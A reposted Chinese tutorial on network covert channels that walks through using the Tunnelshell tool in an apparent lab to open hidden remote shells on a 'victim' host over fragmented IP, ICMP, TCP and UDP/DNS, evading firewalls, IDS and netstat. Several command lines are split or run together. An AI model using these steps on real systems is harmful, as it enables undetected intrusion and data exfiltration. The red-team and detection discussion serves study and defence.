文章轉自“三沐數安”,可分享給更多的網安愛好者,大家一起研究網路安全技術
此文所提供的資訊只為網路安全人員對自己所負責的網站、伺服器等(包括但不限於)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的資訊而造成的直接或間接後果和損失,均由使用者本人負責。本文所提供的工具僅用於學習,禁止用於其他!!!
通常,駭客使用隱藏網路來逃避防火牆和 IDS 等。在這篇文章中,您將瞭解如何透過不可檢測的網路從目標機器竊取資訊。這種型別的網路被稱為隱蔽通道,對於任何網路監控裝置/應用程式和網路管理員來說,它看起來都是普通流量。它可以被視為隱寫術,但它並不完全是隱寫術。兩個端點使用者可以使用隱蔽通道進行網路管理員無法檢測到的通訊。
紅隊成員在紅隊行動中透過合法網路使用隱蔽通道進行資料洩露,資料洩露是兩個端點之間秘密共享資料的過程。
隱蔽一詞的意思是“隱藏或不可檢測”,通道是“通訊模式”,因此隱蔽通道表示不可檢測的通訊網路。這使得管理員或使用者幾乎無法透過秘密通道檢測到傳輸。瞭解加密通訊和隱蔽通訊之間的區別非常重要。在隱蔽通訊中,資料流被未經授權的一方篡改和持久化。但是,加密通訊無法透過加密在兩個端點之間傳輸的資料來隱藏通訊的事實。
儲存隱蔽通道:透過修改“儲存位置”進行通訊,允許一個程序直接或間接地寫入儲存位置,並允許另一個程序直接或間接地讀取該儲存位置。
定時隱蔽通道:執行影響接收器“觀察到的實際響應時間”的操作。
注意:眾所周知的 Spectre 和 Meltdown 使用系統的頁面快取作為竊取資料的隱蔽通道。
Specter 和 Meltdown 攻擊的工作原理是誘騙您的計算機快取特權記憶體,並透過錯誤計算的推測執行、亂序執行中缺乏特權檢查以及頁面快取的強大功能。一旦訪問特權記憶體,處理器就會快取資訊,並且處理器能夠從快取中檢索它,無論它是否是特權資訊。
幾乎可以使用任何協議來建立隱蔽通道。絕大多數隱蔽通道研究都基於第 3 層(網路)和第 4 層(傳輸)協議,例如 ICMP、IP 和 TCP。第 7 層(應用程式)協議(例如 HTTP 和 DNS)也經常使用。這種機制用於傳遞資訊而不會引起網路防火牆和 IDS 的警覺,而且 netstat 也無法檢測到。
Tunnelshell 是一個用 C 語言編寫的程式,適用於 Linux 使用者,採用客戶端-伺服器模式。伺服器開啟一個 /bin/sh,客戶端可以透過虛擬隧道訪問。它支援多種協議,包括 TCP、UDP、ICMP 和 RawIP。此外,資料包可以分段以避開防火牆和 IDS。
您可以從這裡下載隱蔽通道工具(Tunnelshell)。
這裡,我假設我們已經透過 c2 伺服器獲得了受害者的機器會話。現在我們需要建立一個隱藏的通訊通道以進行資料洩露,因此,在兩個端點上都安裝 tunnelshell。
tarxvfztunnelshell_2.3.tgz
make
同樣,在另一個端點(受害者的機器)重複相同操作,完成後,在終端中執行以下命令,為伺服器(攻擊者)開啟通訊通道。
預設情況下,它會發送碎片資料包,該資料包在目的地重新組裝以逃避防火牆和IDS。
現在要連線 tunnelshell,我們需要在伺服器(攻擊者的機器)上執行以下命令,這將建立一個用於資料洩露的隱蔽通道。
語法:./tunnel -i <會話 id (0-65535)> -d <傳送資料包的延遲> -s <資料包大小> -t <隧道型別> -o <協議> -p <埠> -m <ICMP 查詢> -a <ppp 介面> <受害者的 IP>
./
tunnel-tfrag
10
.10.10.2
frag:它使用 IPv4 碎片資料包來封裝資料。當某些路由器和防火牆(如 Cisco 路由器和預設 Linux 安裝)收到沒有第四層報頭的碎片資料包時,即使它們有拒絕它的規則,它們也會允許它透過。正如您所看到的,它已成功連線到 10.10.10.2,我們將訪問受害者機器的 shell。
正如我所說,如果您使用 netstat 檢查網路靜態資訊,那麼您將不會觀察到任何 tunnelshell 的程序 ID。從下圖中,您可以觀察到,藉助ps命令,我已檢查了 tunnelshell 的程序,然後嘗試透過netstat檢查其程序 ID 。
ps
|
grep.tunneld
netstat
–
ano
讓我們使用 Wireshark 檢視 10.10.10.1(攻擊者的 IP)和 10. 10.10.2(受害者的 IP)之間生成的網路流量。兩個端點之間的網路流量看起來很普通,但如果監控正確,那麼網路管理員可以嗅探資料包。您可以觀察到,Wireshark 捕獲了隱蔽流量並嗅探了兩個端點裝置之間傳輸的資料。
我們知道 Ping 是使用 ICMP 通訊,使用 icmp echo request 和 icmp echo reply 查詢在兩個主機之間建立連線,因此執行以下命令:
sudo
./
tunneld-ticmp-mecho-reply
,
echo
現在要連線 tunnelshell,我們需要在伺服器(攻擊者的機器)上執行以下命令,這將建立一個用於資料洩露的隱蔽通道。
./
tunnel-ticmp-mecho-reply
,
echo
10
.10.10.2
您可以觀察到,它成功連線到 10.10.10.2,並且攻擊者能夠訪問受害者機器的 shell。
同樣,如果您透過 Wireshark 捕獲流量,那麼您會注意到 ICMP 回應請求和回覆資料包正在兩個端點之間傳輸。如果您嘗試分析這些資料包,那麼您將能夠看到哪種有效負載以 ICMP 資料的形式傳輸。
它無需使用三次握手即可建立虛擬 TCP 連線。它不繫結任何埠,因此您可以使用另一個程序已經使用的埠,因此請執行以下命令:
sudo
./
tunneld-ttcp-p
80,2000
現在要連線 tunnelshell,我們需要在伺服器(攻擊者的機器)上執行以下命令,這將建立一個用於資料洩露的隱蔽通道。
./
tunnel-ttcp-p
80,2000 10
.10.10.2
您可以觀察到,它成功連線到 10.10.10.2,並且攻擊者再次能夠訪問受害者機器的 shell。
另一方面,如果您考慮網路流量,那麼您會注意到在源和目標之間建立的 TCP 通訊沒有三次握手。
為了建立DNS隱蔽通道,我們需要在兩個端點機器上執行UDP隧道模式。因此,在受害者的機器上執行以下命令:
sudo
./
tunneld-tudp-p
53,2000
類似地,在你的(攻擊者)機器上執行以下操作來連線隧道。
./
tunnel-tudp-p
53,2000 10
.10.10.2
正如您在此處看到的,DNS 格式錯誤的資料包包含在兩個端點機器之間傳輸的資料。
隱蔽通道在資料洩露時不傳送加密資料包,因此很容易被嗅探,網路管理員可以輕鬆進行資料丟失和風險管理。
文章宣告
本文轉自三沐數安,版權歸原作者所有,由釋然IT雜談排版成文,轉載請註明出處,侵刪。
官方站點:www.linuxprobe.com
Linux命令大全:www.linuxcool.com
劉遄老師QQ:5604215
Linux技術交流群:2636170
(新群,火熱加群中……)
想要學習Linux系統的讀者可以點選"閱讀原文"按鈕來了解書籍《Linux就該這麼學》,同時也非常適合專業的運維人員閱讀,成為輔助您工作的高價值工具書!